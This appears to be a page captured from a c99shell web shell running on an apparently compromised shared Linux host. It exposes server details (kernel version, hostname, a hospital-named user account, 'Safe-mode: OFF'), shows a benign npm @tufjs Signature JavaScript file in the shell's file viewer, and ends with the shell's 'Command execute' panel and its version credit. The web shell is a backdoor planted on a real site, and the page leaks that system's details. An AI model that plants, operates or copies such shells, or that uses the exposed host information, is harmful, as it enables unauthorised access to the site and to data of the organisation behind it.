Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/alt/alt-nodejs18/root/usr/lib/node_modules/npm/node_modules.bundled/@tufjs/models/dist/ drwxr-xr-x |
Viewing file: Select action/file-type: "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.Signature = void 0; /** * A container class containing information about a signature. * * Contains a signature and the keyid uniquely identifying the key used * to generate the signature. * * Provide a `fromJSON` method to create a Signature from a JSON object. */ class Signature { constructor(options) { const { keyID, sig } = options; this.keyID = keyID; this.sig = sig; } toJSON() { return { keyid: this.keyID, sig: this.sig, }; } static fromJSON(data) { const { keyid, sig } = data; if (typeof keyid !== 'string') { throw new TypeError('keyid must be a string'); } if (typeof sig !== 'string') { throw new TypeError('sig must be a string'); } return new Signature({ keyID: keyid, sig: sig, }); } } exports.Signature = Signature; |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0973 ]-- |